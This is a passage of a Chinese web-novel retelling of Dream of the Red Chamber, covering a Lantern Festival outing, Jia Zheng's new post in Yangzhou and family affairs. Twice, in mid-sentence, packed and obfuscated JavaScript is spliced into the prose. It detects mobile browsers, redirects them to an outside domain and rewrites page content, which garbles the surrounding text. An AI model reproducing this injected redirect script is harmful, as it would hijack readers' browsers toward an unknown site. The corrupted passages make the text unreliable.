戏刚唱了两场,贾母推说身体不太舒服,受不了冷风,想去安置了。 众人还劝贾母,不如到暖阁里再热闹一会儿,也被贾母拒绝了。 贾政看出贾母心事,摇头苦笑了下,没说什么。 “母亲,刚才吹了冷风,头还疼吗?”贾政与鸳鸯一起搀扶着贾母回了屋子。 贾母靠着软枕,神色淡淡。 贾政见状,吩咐鸳鸯一众丫鬟先退下了。 贾政跪了下来。 “前两天,是儿子错了。”贾政说道。 “初一那天不是已经跪过了?现在又像什么样。”贾母说道。 贾政就知道她仍不高兴。人年纪大了,有时虽然明白道理,却仍会憋气。 贾政便又将之前与贾母说过的道理细细说了一遍。 “你说得我何尝不明白。”贾母神色稍缓。 “元春虽在宫中,但宫中的日子总是难过。儿子真是后悔当初将她送到了那个地方。哪里又到了非这样做不可的地步了呢?”贾政觉得还是亲情牌比较好用。 贾母叹口气“那是不得已的事情。” “自从外甥女来京后,姑爷那里每月都有两三封信来。他如今虽身居高位,但也是战战兢兢,如履薄冰啊。”贾政又说“儿子与他都认为如此下去,四大家族倾覆之日,不出三五年了。”他故意说得严重些。 “咱们几家,彼此互有姻亲,在圣上眼中,自然是一根绳上的蚂蚱。圣上若是有心铲除一些大族人家,自然不会放过咱们几家。”贾政继续劝道。 “是这样道理没错。”贾母点了点头。 “母亲年迈,又怎么能忍心看到家族倾覆的那一天呢?若真是到了那个地步,大人们倒也是罢了,那些小的,宝玉,迎春探春惜春四姐妹,还有外甥女,又将如何呢?” 贾母已经很是动容。 “敏妹走得早”贾政叹口气,继续说“外甥女生来体弱,若是再受了大刺激,怕也···” “不要再说了···”贾母眼睛紧闭,不愿再想。 “都依你的就是了。”贾母悠悠开口。 贾政知道,贾母只是想看看他的态度。这样全然为了家族大事与子孙后代的态度,她应当会满意了。贾政走出贾母屋子,心想。 贾政回到席上,走至宝玉身前,在他耳边说了几句话。 “老爷,此话当真?”宝玉一声惊呼,众人都看向他。 贾政笑着点点头,走开了。 宝玉忙忙把姐妹几个聚在一起,悄声说道“老爷说要带咱们几个去灯市街看花灯,让咱们一会儿悄悄走开,穿好厚衣服,每人只带一个丫鬟,在西角门等他。” 姐妹几个听了,无不欢欣。 “老爷,不过是带几个孩子去看花灯,用得着让他们举止神神秘秘的吗?让人看到了,更要起疑。”王夫人问贾政。 贾政笑一笑,故作高深地说“小孩子总喜欢背地里做事,因为刺激。越是这样行事,他们就越是期待,其实我早已吩咐好了下人,直接放行就好。我那样吩咐宝玉,是故意逗他们的。” 王夫人听了,一时语塞,分不清贾政和孩子们谁更顽皮。 “我便不去了吧,府里还摆着酒,戏也唱着,需要有人主事。”王夫人犹豫道。 “我一个人怎么带这么多闹腾的孩子出门?还是有你在好一些,他们都与你亲近。”贾政劝道。 “府里的事我都吩咐过凤丫头了。”说罢,又为夫人披了件锦裘。 王夫人这才点了头。 孩子们都穿了厚厚的披风,各自带了一个丫鬟,鬼鬼祟祟地来到了西角门。贾政王夫人与锦屏正在那里等着他们。 “老爷,我们一路上都很小心,没被人发现。”宝玉轻声说道,话里藏不住的兴奋。 贾政满意地笑笑,说“宝玉办事确实妥当。” 王夫人实在没忍住,笑出了声,却被贾政看了一眼。 “咱们快出去吧,站久了,一会儿看门的妈妈就回来了。”探春小声说道,她以为那个看门妈妈是被贾政支走了。 贾政扶着王夫人,大摇大摆出了门。后面几个孩子仍旧小心谨慎。 只有黛玉,低声笑了出来。 宝玉牵着黛玉手,急说“一会儿出去再高兴,小心被发现了。” 待走出宁荣街,一行人才松了口气。 “林妹妹方才笑什么?”宝玉问黛玉,他只以为黛玉是因为出来玩,太高兴了。 黛玉看一眼贾政,贾政顽皮地看了回来。 “我笑你们几个公子小姐,往日里那么聪慧,今日却这么笨!”黛玉说罢,躲到王夫人身旁。 “好你个林姐姐,怎么突然骂我们几个?”探春也起了玩闹的心思,与迎春一起围住黛玉,专门挠她怕痒的地方。 “好姐姐好姐姐,我错了,饶了我吧!”黛玉受不住了,连连求饶。 公府里过元宵节隆重,平民百姓之家也是相同。 灯市街是京城元宵节人最多的地方。主要是因为这附近铺子都是卖灯笼与节庆物品的,因此各种节日,这里都是摩肩接踵。 还没到灯市街,路上已经挤满了人,两边是支了摊子的商贩。行人们男男女女,老老少少,脸上都是笑容满面。 “你们在姑娘们旁边,跟紧一些,不要走散了。”王夫人吩咐着丫鬟。 “老爷,这里人太多,不如咱们找个茶楼,坐在里面看花灯也是一样的。”王夫人还是担心孩子们出事。 “我已经吩咐了二十几个人暗中保护了,不会出事的。”贾政凑到王夫人耳边说。 “夫人也难得出来,不如专心看看风景。”贾政笑道,挽紧了王夫人。 王夫人的担心不无道理,这几个孩子难得外出,且今日又是元宵节,他们实在控制不住自己。 黛玉和迎春还好一些,宝玉探春两个本来就活泼,如今真是海阔天高任他玩了。 每经过一个摊子就要上前去看一会儿,没走多远,东西先买了一大堆。 “林妹妹,你看这块暖玉真有趣,像条小鱼儿,留着给你做扇坠好不好?”宝玉笑嘻嘻地拿出一块刚买的暖玉给黛玉看。 “暖玉正好配黛玉,二哥哥有心了!”探春打趣道。 “我不是也买了一方章子给你嘛,你还打趣我!”宝玉哼了一声。 “什么章子,我也看看?”黛玉感兴趣问道。 “檀木做的,只是外型别致,我很喜欢。”探春拿出那方檀木印章,给黛玉看。 “写的是自在随心,三妹妹确实像有佛缘呢!”迎春看了也很喜欢。 黛玉点点头,印首是山峦的造型,确实像探春喜欢的。 “那给你们也挑一个好不好?那边还有好多呢!”探春建议道。 姐妹几个欢欢喜喜去挑印章了。 挑好了印章,走走停停,终于到了灯市街。果然比其他街更热闹,两边挂满了各式的花灯,灯笼下还挂着一些纸条。 他们走进了一看,原来是灯谜。 贾政笑道“这是文心斋弄的,他们家卖笔墨纸砚,做这个正好提高知名度了。” 此时文心斋门口摆了几张大桌子,正预备着给有了答案的客人兑奖呢。不时有人扯下纸条,拿去兑奖,那里早挤满了人。 “我们也去吗?”宝玉有些跃跃欲试。 “还是不要去了吧,要等好久呢,再说咱们也不差那些东西。”探春摇摇头,毕竟人太多,他们几个年纪小,不好也挤到那里,也不想久等。她还是喜欢自自在在地看花灯,逛小摊。 “猜灯谜家里也可以,就不去了。”黛玉觉得太闹。 迎春注意力主要在看花灯,不在乎什么灯谜,另外她也不太能猜得出。 宝玉瘪瘪嘴。 “咱们再往前走,那里正放河灯呢!”贾政安慰宝玉。 “那正好!我要买许多河灯,给好多人祈福!”宝玉喜道。 “再有多少心愿,一盏灯就够了。”王夫人笑道。 “宝玉又犯傻了。”黛玉笑他。 这时,宝玉走到黛玉旁边,悄声问她“刚出门时,你笑什么呢?我一直不明白” 黛玉食指轻点宝玉额头,笑道“你这呆子,还看不出来舅舅是逗你玩的嘛!” 宝玉瞪大了眼睛。 “往日里你我身边,不知道要跟着多少丫鬟婆子,今天每人只带了一个人,一路上却没旁人看到咱们,怎么可能呢?就连大门口,连一个守门人都没有,更是怪事,你却想不到。”黛玉佯装叹了一口气,“成日家还说宝二爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947720|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聪慧呢!我看也是未必。” “我看也是未必”探春听他俩说悄悄话,也凑了过来。 宝玉也不恼,回道“你们都笑我,我才不和你们小孩子计较。” “敢问宝二爷今年高寿呢?”黛玉眨眨眼睛,继续逗宝玉。 宝玉也很配合,模仿老人样子,假装拄着拐杖,还假模假样的咳嗽两声“老夫今年,足有八十三了!”说罢,一只手还捶了捶腰。 众人都被他这模样逗得大笑不止。 沿着灯市街,他们慢慢走到了阳华河。河流两边也是行人如织。 河面上,花灯如海,波光粼粼。灯火倒映在每个人的脸上,忽明忽暗。 走到这里他们都有些累了,几个孩子都是静静看着河面,各自心事在心里流淌着。 孩子们挑选着喜欢的河灯样式,拿笔在上面写着。贾政也让他们的丫鬟都买了灯。 黛玉最先写好,走到河边,蹲下身子将灯放进了水里。看着河灯悠悠飘向远方,黛玉的目光追随着灯,也渐渐朦胧了起来。她站在那里,不知想了些什么,轻声哼了几句扬州小调。 “妹妹哼的哪首曲子?”宝玉把自己的河灯也放过了,又站到黛玉旁边,好奇问道。 黛玉眨眨眼睛,没有回答,笑着走到迎春与探春身边,看她们写了什么。 “都写好了吗?”王夫人笑着问他们。迎春探春点点头。 “快去放了吧,肯定灵验的。”贾政笑着说道。 姐妹几个又都嬉笑着,凑到河边去了。 “三妹妹以后想做诗人吗?”黛玉看过探春的河灯后,笑着问她。 探春轻笑着摇摇头,“我没有那样的奢望。” 她的眼睛看向水面,又说“女儿家日后长大了,成了亲,不过也是相夫教子,做个管家太太罢了。”探春叹道。 几人见她神色认真,都没有开口打趣。 “只是,有时也会不甘心。”探春叹了口气,没再说下去。 迎春却点了点头,“这就是我们的宿命,人人都是如此。” “我说你们两个怎么都发起愁来,难得出来玩一次,不要这样忧虑了。”宝玉劝道。 黛玉很是能体会迎春与探春的愁思,也叹了口气,悠悠吟道“明媚鲜妍能几时,一朝飘泊难寻觅。” 宝玉却着急了,“你们若是都不高兴,打我一顿也可以,只是不要都这样难过,你们这样,我心里也不好受。难道就不能姐妹们终日待在一处,永远也不分开吗?” “又说傻话了”探春微微笑了笑。 “若是能逗笑你们,再说多少句傻话都不碍事!”宝玉说道。 “那我们就成全你一片苦心吧!”黛玉笑着在宝玉胸前轻捶了一下。 “二姐姐,你还伤心吗?”宝玉又问迎春。 “逗你玩呢!”迎春说罢,躲到了探春身后。 几人又闹在了一起。 “这个年纪可真好,天真烂漫,不谙世事。”王夫人看着孩子们的背影,笑着说,话里颇有些怀念的味道。 “夫人的还没有放。”贾政又拿了一只河灯,要递给王夫人。 王夫人笑着接过“我都什么年纪了,哪里能像他们?” “讨个彩头”贾政笑说。 王夫人也就没有写字,只是走到河边,把灯轻轻放到了水面上。目光悠悠,看向河流远处。 火树银花不夜天,河灯万盏月色明。 回去路上,贾政不知道从哪里弄来的走马灯,给了他们每人一只。 “还以为老爷忘了呢!”探春笑着说。 贾政有些不好意思,“我本来想自己做的,只是做了几个都不好,这才拖到今天,买了几只送给你们玩。” “还不谢过老爷吗?”王夫人笑说。 孩子们欢欢喜喜地一起谢过,各自回了屋子里。 回到屋里,贾政与王夫人坐在炕桌前,每人喝了杯热茶。都没去宴席那边,实在累了。 喝盏茶的功夫,贾政不知从哪里找到的,手里又拿了一只灯笼,做工看着粗糙些,递给了王夫人。 “老爷难道要去做灯笼生意吗?怎么今日这么多灯?又是河灯又是走马灯···”王夫人笑道。 贾政有些尴尬“这就是之前我试着做的时候,做出来的那个。手艺的确粗糙些,你不要嫌弃。” 里面蒙的绢布还写了字,王夫人凑近看过,脸馥馥红了。 她看到了自己的名字,已经很多年没人叫过了。 是令嘉。王令嘉。 她忽然想起了少女时的事情。 22. 春日宴贾政获外放 待到冰消雪融,柳树冒出了小小的嫩芽,京城的春天就来了。 开春的第一件好事就是王子腾升了九省都检点,并奉旨出都查边。 王家此时获得了家族史上最高的职位,连带着与王家关系亲密的贾薛史家也都自觉沾了喜气,纷纷去王府赴宴,以表庆贺。 贾母心里有一点点不高兴,自觉贾家也有了落败的趋势,家里几个做官的男人很久没有过晋升了。 只是她愁归愁,又想到儿子贾政几次与她的贴心谈话,对王夫人与王熙凤的庇护,又让她实在说不出难听话。贾母只能一次次提醒自己,人老了,该是时候安享晚年,再也不管家里的大事小情了。 王夫人却很高兴,兄长此次升官,让贾家有了更强大的后盾,她的子女们日后更有依仗。她自己早就做贾家的媳妇几十年了,倒没什么其他不着边际的想法。 王家宴请,王夫人与王熙凤只去了半日,就匆匆回来了,怕贾母多心。 王熙凤认为自己的亲叔叔如今身居高位,她在贾府的腰杆子更要挺得直了。眼下正有一件事,让她可以发挥。她哥哥王仁想拉着她做“生意”。 王仁虽然喜好钻营,但头脑却很愚笨,人又不太机敏,他如今虽然常住在京城,但并无一官半职。王家其他的人与他相处的也并不很好,他别无其它可靠的人脉,有了棘手事情,只能想到自己这个同胞妹妹来。 “大爷来了信,说是想与奶奶合作一门生意,顶顶赚钱的,也没什么风险。”平儿给王熙凤捧上一碟蜂蜜牛乳酥,在她耳边轻声说。 王熙凤闻言眼前一亮,喝退了其他人,屋子里只剩下平儿与她。 “细细说来。”王熙凤问。 平儿有些犹豫,“大爷说是如今王府正是熏灼,京城上下没有哪个敢惹。所以他想放印子钱,来钱又快又稳妥,毕竟没人敢不还王家的钱。” 王熙凤听了一笑“我那个哥哥也就能想出这么个赚钱的法子了。” “我觉得不太妥当”平儿谨慎说道。 王熙凤摆摆手,“我知道你的担心,那却不主要。凡是豪门大族,背地里做些违法勾当的事情,难道还少吗?更何况咱们这种人家。我担心的与你的不同。” “只是二老爷那边若是知道了,怕也不会同意。”平儿仍想劝诫王熙凤,怕她走错了路。 “二老爷当家作主,虽然知道省俭,可毕竟是在朝为官的,他哪里能想得到这偌大家业,光靠平时的省俭,虽然确实少花了钱,可收入要是越来越少,再是节省也没用处。”王熙凤分析道。 王熙凤顿了顿,拈了一块糕点,吃罢,又继续说“贾府上下现在就是如此了。老太太那边也许是顾及二老爷,如今也不再因为省俭而有什么不满的。我担心的也不是这个。” 王熙凤看一眼平儿,见她表情乖顺,就继续说“我当家这些日子,为了面子上好看,自己的嫁妆也贴补进去不少。所以我怕的是日子还长,咱们不断贴补东西,最后定要全数都填进去了。只怕也是不够。” 王熙凤说到这里,重重叹口气。 “不是还有二爷吗?毕竟二爷才是当家老爷,奶奶又何必如此忧虑?”平儿小心说道。 王熙凤听了,嗤笑一声“你看琏二爷是个干正经事的人吗?” 平儿也无奈,没了话说。 “咱们虽然现在管家,但说到底也是大房的人。日后若是分了家,各家吃各家的,你看大老爷大太太,琏二爷,哪个不是伸手要钱的主儿?” “到时候还不是吃我的嫁妆!”王熙凤说到激动处,拍了桌子。 “奶奶小心像上次那样,手上划一道口子。”平儿将王熙凤的手细细看了看,见没有伤口,才放了心。 “我只是觉得,咱们应该看得长远一些。”王熙凤悠悠说完,叹了口气。 “那就是说要答应大爷说的事情了?”平儿又问。 王熙凤轻轻摇摇头“我哥哥不是个诚信人,与他一起做生意,很难保证他不会哄骗咱们。” “一母同胞的姐妹,大爷不至于吧··”平儿轻声说。 “还是早做提防的好。”王熙凤说罢,看着平儿“我想让你代我与他往来。” 见平儿面色平静,王熙凤心里喜欢,就握住平儿的手说“我哥哥要与我合伙,我想并不是因为缺少本钱。他对自己的本事也清楚,凭他的脑子办不好,这才想到我。我是贾家的媳妇,平日里总在深宅大院里,只能出出主意,外面的事情都要倚仗他。他自以为如此既稳妥,又可以拿捏我,所以才传了信来。” 平儿点点头“只是我不过是奶奶跟前的丫鬟罢了,如何能常常代奶奶去办事呢。” “你别担心,我哥哥自以为可以辖制我,我却也自信可以拿捏住他。让你替我与他办这个事,也并不需要经常去走动。咱们只是先试试看,若日后有什么不方便的地方,再想其他办法也使得。” 平儿听到这里松了一口气“既然如此,奶奶就放心交待给我吧。” “我对你自然是事事放心的。”王熙凤轻抚平儿脊背,笑着说。 王子腾出任九省都检点后不到一个月,贾政也收到工部李郎中的口风,圣上有意也将他外放。 李郎中待人亲厚,这些日子又对贾政很是信重,认为他办事妥帖,日后必会再有功绩。 因此他一从封尚书那边得了消息,就悄悄暗示了贾政,想让他有所准备。 皇帝年初就提拔了王子腾,看起来似乎有意收回四大家族数年占据的京城兵权。如今又想外放贾政,贾政也提前猜到了,只是没想到这么快。 两个月内,接连外放两个四大家族的当家人,圣上的意图似乎很明显了。 圣心难测啊,当官真是日夜提着脑袋办事,贾政叹道。 正式的任命来得很快,圣旨没过几天就到了荣国府。 圣上钦点贾政做副总河,主管南河一切运河与水利事务,驻扎扬州,官职三品。 本朝设有河道总督,二品官,总管全国水务,包括北河东河与南河,督办水利工程,修治河道,管理漕运。如今河道总督由陈光和担任,他是前朝进士,出身寒门,目前驻扎山东济州府。 北静王亲自来贾府传旨,贾府上下都整装恭敬等待圣旨。 接了旨,贾府阖府上下无不雀跃,贾家终于又有实权官职在身了!这下也不用羡慕王家了。 谁不知道,河务一职,再是肥缺不过了。朝廷年年要拨款修河堤,光是经手的钱粮就不知道有多少。这还只是其中一项,更不用提漕运,各项工程其中的油水了。 一时间,无人不羡慕贾政,突然就走了大运。不过也有人以为,人家国公府豪门大族,也不一定看得上这个外任,也许人家更愿意待在京城享福呢! 王夫人与王熙凤又是忙个不停,大摆宴席,宴请诸多王宫贵族,长官亲友。贾母也是高兴的不得了,之前那些龃龉也早就抛在脑后了。 贾政接了圣旨,虽说并不欢喜,也不能表现的太反常。 工部的大小官员自然都要宴请。摆宴那日,贾政特意向李郎中敬酒道谢,只是李郎中却神色复杂将贾政拉到了一旁。 “存周,这个消息本来也是封尚书透露给我的,我没多想就提前告诉了你。”李师德顿了顿,看贾政神色如常,就继续说道“只是我后来才知道这其中另有隐情。太详细的我也不知道,只是你到了那边,凡事谨慎为上,哪怕没有功绩,最好也不要被人抓到什么把柄。” 贾政见李师德一番话语很是恳切,心里也感动,回道“多谢大人提点,日后大人若有什么地方用的到我的,赴汤蹈火在所不辞。”话说得故意夸张些。 李师德拍拍贾政肩膀,又道“言止于此,希望你一切顺利吧。”二人碰了杯,各自饮尽了杯中酒。 同为员外郎的关永平也很羡慕,他多喝了几杯,脸色坨红,搂着贾政肩膀,说着些羡慕的话语。 贾政也不介意,扶着关永平坐在椅子上,夺了他的酒杯,说道“只是尽人事听天命罢了,各人有各人的苦处,外人是不会知道的。” 关永平用力摇摇头“你们这些大族子弟,能有什么苦楚呢?” 贾政见他酒醉,听不进去,也就没再说话,又陪他喝了几杯,吩咐人带关永平去歇息了。 贾政坐着思考一会儿,又走到了李师德面前,向他讨了袁三保做助手。李师德自然痛快答应了。 贾政得了许诺,就走到袁三保那桌,与他说了。袁三保本来也想主动向贾政请求跟随,如今听了贾政的安排,也很是高兴,敬了贾政三杯酒。 到了晚间,宴席的客人都散的差不多了,贾政烂醉如泥,被丫鬟扶着才回到了屋子。 贾政醉倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947721|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在床上,王夫人亲自为他去了外衣,又给他擦脸擦手。 又怕他早起头疼,费劲把他叫了醒来,喂了醒酒汤。 王夫人连日操劳,也很疲倦,只是不太放心贾政,虽吩咐了丫鬟时刻守着他,自己却也睡在了屋里的榻上。 次日早晨,贾政起的比往日要晚,一睁开眼,就看到王夫人扶额坐在床边,眼睛眯着。 “要丫鬟服侍就行了,夫人何必亲自守着呢?”贾政有些后悔昨日故意醉酒了。 “不妨事的。”王夫人见贾政醒来,忙起身扶贾政坐了起来。 贾政环视一圈,看屋子里再无他人,就轻声说道“我昨日是故意要喝醉的。” 王夫人本来以为贾政是因为高兴才醉酒,“为何要故意喝醉呢?对身体也不好。”王夫人低声说。 “我必须要表现出来很高兴,别人看了才正常。”贾政又说“圣上虽然明面上升了我的官,只是背后却有许多原因,对咱们不利。” 王夫人略略惊讶“不至于吧,前些日子我兄长不也升了官吗?” 贾政轻笑一声“说来话长,等咱们在扬州安置下来,我再细细向你解释吧。” “老爷也要带我去扬州上任吗?”王夫人话中惊讶更多。 贾政点点头,说道“还有宝玉探春,还有外甥女也一起去。” “林家本来就在扬州,带外甥女回家,这还说得过去。只是老太太那边却不会同意宝玉也去的。老太太年迈,宝玉在她身边为她解了许多寂寞,于情于理,老爷都不应当如此行事。”王夫人的不赞同表现的很直接。 贾政轻轻摇头“我也考虑了很久,只是我这一去少则两三年。宝玉探春正是关键时候,我想把他们带到身边,由咱们亲自养育更好。”贾政说得更直白。 王夫人没有细究贾政话中的“关键时候”是什么意思,她只是很担忧。 一下子将贾母的两颗掌上明珠都带了走,她是不敢想的。 “只是我若一走,这府里上下···”王夫人欲言又止,这也是她担心的地方。她自己从没想过要随同贾政外任,毕竟她是管家太太,即使有个王熙凤在,她也不应当走开。 贾政拍拍她肩膀,柔声道“夫人莫忧。” 圣旨是让他即刻启程,越快越好的,贾政也不拖延。当日就去工部办好了交接工作,回家后再打点几天行李,就可以出发了。 贾政从部里回来,就去了贾母屋里。 宝玉姐妹几个都在,围着贾母说笑。 贾母见贾政进来,又看他神情,就知道有事要说,把孩子们打发走了。 “你这一去少则两三年,我也舍不得你。”贾母叹口气。 贾政坐到贾母榻边,轻声说“儿子也舍不得母亲,只是皇命难违,不能在母亲身边尽孝了。” 贾母轻抚贾政手臂,说“带你太太一起去吧,不然你一个人在外,别人都照顾不好。你带了她同去,也是有个家了,我也放心。” 贾政听了很是感激,又说“多谢母亲体谅儿子,只是府里大小事务,都只能交给凤丫头了,幸好她做事也很妥帖。” 贾母笑着点点头“她们两个做事都很妥帖,我都放心。” 贾政犹豫一会儿,又说“前些日子扬州那边来信,姑爷说他想念外甥女。儿子想着这次正是要去扬州,就带外甥女回家看看,待些日子,母亲想她了,再吩咐人将她送到京城。” 贾母听了很是不舍黛玉,只是黛玉父亲想女儿了,她也不好阻拦,只好勉强点了头。 “林姑爷探花出身,学识深厚,且为人方正,又与咱们有姻亲。所以儿子想···”贾政顿了顿,见贾母认真听着,就说了下去“儿子想将宝玉带到扬州,由姑爷亲自教导,日后也能读书进取,考取进士,做个一官半职的,也是为咱们贾家争光。”说罢,细看贾母神色。 贾母听罢,愣了一会儿,又紧闭双眼。 好一会儿,贾母才开了口,她摆摆手,叹道“罢了罢了,你也是为了宝玉的前途考虑。他在家里,我总是舍不得逼他读书,如今离了我,你也好教导他,就带他同去,把三丫头也带去吧。” 贾政听了又是欢喜又是担忧。他又对贾母说了许多自己心中对家族的忧虑,以及此举的不妥当之处,想要宽慰贾母。 贾母听了,慢慢也神色和缓,不愿意计较了。 23. 叹离别薛家丧事悲 “此话当真?”黛玉抱住宝玉手臂,连连摇晃。 “真的!老爷此次去扬州上任,要带了太太,你,我,三妹妹同去呢!老太太那边都答应了!”宝玉欢喜道“成日里总听你说扬州风物,如今终于可以亲自去看看了!” 黛玉落了几滴泪,忙用手拍擦掉了。 “离家虽然才半年,但我确实想父亲了。”黛玉轻声说,坐到了榻上。 “咱们几个可以一起去扬州了,真是天大的好事!三妹妹肯定也知道了。”宝玉紧挨着黛玉,笑道。 “咱们一走,老太太要寂寞了。”黛玉叹道。 宝玉突然也想到了这里,也有些担忧,叹道“老太太身边还有大哥大嫂与凤姐姐陪着,只是二姐姐不能和咱们一起去。” “却是没办法的事,二姐姐毕竟是大舅舅的女儿,舅舅也不能为二姐姐做主。”黛玉也舍不得迎春。迎春本就寡言,平日里有他们几个一起玩,还好一些。过几天她们几个人一走,迎春难免寂寞。 “幸好还有四妹妹在,二姐姐也不算孤单一人了。”黛玉又道。 王夫人正打点行李,并与王熙凤交待事务。 “老爷说,此次外任,少则两三年,也要我陪同。”王夫人坐在桌边,对王熙凤说。 “太太放心去吧,家里有我呢,再有什么大事,写封信去也不耽误。”王熙凤劝道。 王夫人摇摇头,满含担忧道“京城与江南路途遥远,我除了担心老太太与府里事务之外,还担忧你···” “太太怕我办不妥当?”王熙凤笑着问。 王夫人拍拍王熙凤手背,又道“哪里是担心你管家不妥当,我是担心你与琏儿。” 王熙凤听到贾琏的名字,眼神暗了下去,低声道“琏二爷成日里不着家,太太犯不上担心。” “你不要这样事不关己的样子。”王夫人看王熙凤神情就知道自己今日没有白担心“你来府里也有两年了,却一直没有动静,你也不担忧吗?” 王熙凤仍然是神色淡淡。 “琏儿又是那样性子,爱沾花惹草,这也不是大毛病,哪个男人不是这样?只是你要为自己早早考虑,有了儿女才有依仗。”王夫人苦心劝道。 “他若是厌弃我,有了儿女也没有用,还是拖累。我只依仗我自己就是了。”王熙凤难得如此直截了当表达她的不满。 “你这个凤丫头啊!“王夫人握紧王熙凤手臂“你就是性子太要强了一些,我之前说的你都忘了吗?夫妻之间···” 王熙凤打断了王夫人的话。 “我只是不愿意次次服软,逆来顺受,那不是我。”王熙凤轻声说道。 王夫人见她低沉,也是心疼“做女人的哪个不是这样过来的?” 王熙凤摇摇头。 王夫人没再说话,搂紧了王熙凤。“若真有什么事,你即刻写信来,我去求了老爷与你叔父给你撑腰。” 突然,王夫人的大丫鬟锦屏神色慌张地进了屋子。 “太太,金陵薛家来人了。”锦屏小声说道。 王夫人看锦屏神色,就知道不是好事。 “怎么回事?”王夫人问。 “薛家大老爷一个月前殁了,他们来报丧···”锦屏说罢就低垂着头,不敢再看。 “怎么这么突然?”王熙凤又惊又急,忙问道。 王夫人闻言紧闭了眼睛,不禁为亲妹妹担忧起来。 “你姨妈每次来信都说你姨夫身体不好,没想到还是没有挺过去。”王夫人落了眼泪“只是如今她一个人带着两个孩子,如何是好呢?” 王熙凤也神情悲痛,为王夫人轻轻擦着眼泪“薛家姨夫这一辈中,只有一个兄弟,也去世得早,如今薛家偌大的家业姨妈一个人怎么办呢?”王熙凤担忧的主要是薛家族中的旁支要抢了家产,如此薛姨妈就更为难了。 王夫人吩咐薛家来的人进了屋子。 来人是薛姨妈出嫁时带走的一家陪房,叫曹德,王夫人也认得。 “我家老爷是上月初十殁的,太太打点好丧事后,才派了我们来京城报丧。”曹德边哭边说,王夫人心里更是难过。 王熙凤摆摆手,吩咐人下去了。随后与王夫人商议后,二人一起去贾母那里说了此事,贾母也是一番劝慰,自不必提。 确定了启程之日后,几个孩子也不再上课,日日都去贾母跟前逗趣。 离别在即,贾母每每被孩子们逗得大笑时,不禁想到再过几天,就见不到她们了。 贾母又将身边的贴身丫鬟袭人给了宝玉,让她随宝玉去扬州。因为袭人做事妥帖,事事都考虑得周全,宝玉身边有袭人照顾,贾母也更放心一些。 人老多情,她虽然如今身子康健,只是不知何日也会像薛家大爷那样突然病故。 想到此处,贾母心里也是一阵阵难过,只是不好在孙子孙女面前时常流露。 鸳鸯是最知道贾母心事的人,她也忍不住犯了愁。 临行前的一天下午,宝玉悄悄把鸳鸯叫到了他的屋里。鸳鸯一进去,就发现迎春黛玉探春惜春也在,袭人和紫鹃在旁边站着侍奉茶水。 “鸳鸯姐姐,这边坐。”探春笑着让鸳鸯坐到她们身边。 “这是我与二姐姐,林姐姐四妹妹合抄的大悲咒。我们几个去了扬州,也时刻想念着老太太,希望她身子康健。”探春拿给鸳鸯,又说“本来想当面拿给老太太看,却担心分别在即,惹得老太太越发难过。所以先交给姐姐,待日后老太太念叨我们时,你再拿给老太太看。” 鸳鸯忙道“姑娘们不用担心,老太太这几日虽然有些难过,但她生性豁达,不会常常自苦的。” “过些日子,我以老太太的名义,悄悄往史家去信,把史大姑娘接过来住些日子。她为人天真烂漫,喜欢说说笑笑,老太太有她与二小姐四小姐陪着,也就没什么担心的了。” “鸳鸯姐姐确实想得周到,老太太身边有姐姐,真是咱们的福气。”宝玉笑道。 “老太太常说史大姑娘的性子很像她年轻时候,爱玩爱闹。”袭人在旁笑着对鸳鸯说,她也觉得鸳鸯这个想法很妥当。 “姐姐,我本来想为老太太写个匾额,因为之前答应过老太太。只是我写了好多都不满意,三妹妹书法好,但是让她来写,我自己的心意却不能告诉老太太。最后还是写了一个,你拿给老太太看时,若她不喜欢,我勤加练习,以后再多写几个让老太太挑选。”宝玉说罢,有些不好意思,姐妹们的礼物又精致心意又足,他的却拿不出手。 鸳鸯接过来看了一眼,笑了一笑“老太太平日里最疼你,无论多少珍宝都不及你的心意。” “道理虽然是这样,但姐妹们却样样做得比我的好,我心里也过意不去。”宝玉瘪了嘴。 “合该平日里就好好下功夫的,以后你练得好了,要写多少就写多少,现在不要伤心了。”黛玉一番话又是打趣又是安慰,把宝玉逗笑了。 鸳鸯拿了东西就告辞了。 迎春今日看起来心情尚好,黛玉却有些担心。 似乎是看出来了姐妹们有意要安慰她,迎春先开了口。 “你们不用担心我,我虽然难过一会儿,但很快也就好了。再说,我也不是那么喜欢热闹的。”迎春说罢,先低了头。 黛玉和探春眼神一碰,二人同时坐到迎春两侧,将她搂进怀里,抚摸她的脊背,絮絮说着姐妹之间的话,没人再提分别。离别的话之前已经说了许多,此时能安静抱着,说些无关的事情,反而很难得。 惜春年纪尚小,并不很明白离别意味着什么,只是懵懂地学着黛玉和探春的样子安慰二姐姐。 贾政已经安排好了部里的事情,他又在外面一家茶楼与潘武和马双虎碰了面。 潘武先汇报了炭窑相关的事情。之前贾政交待过,往府里管家上报的利润只需报一半,剩下的由潘武先存起来。今日贾政叫他们来就是询问这个事情。 如今已到了春天,炭窑逐渐进入了淡季,过去一个冬天的收入却很客观。 “除掉送到府上用了的木炭,去年冬天与今年开春,炭窑的收成有两万六千两,一半报给二奶奶了,我这里还有一万三千两。”潘武说道。“还有大约五万斤碳存着,预备着今年冬天再卖。” 贾政点点头,很是满意,炭窑一个冬天的利润这么多,看来他们两个经营的确实不错。 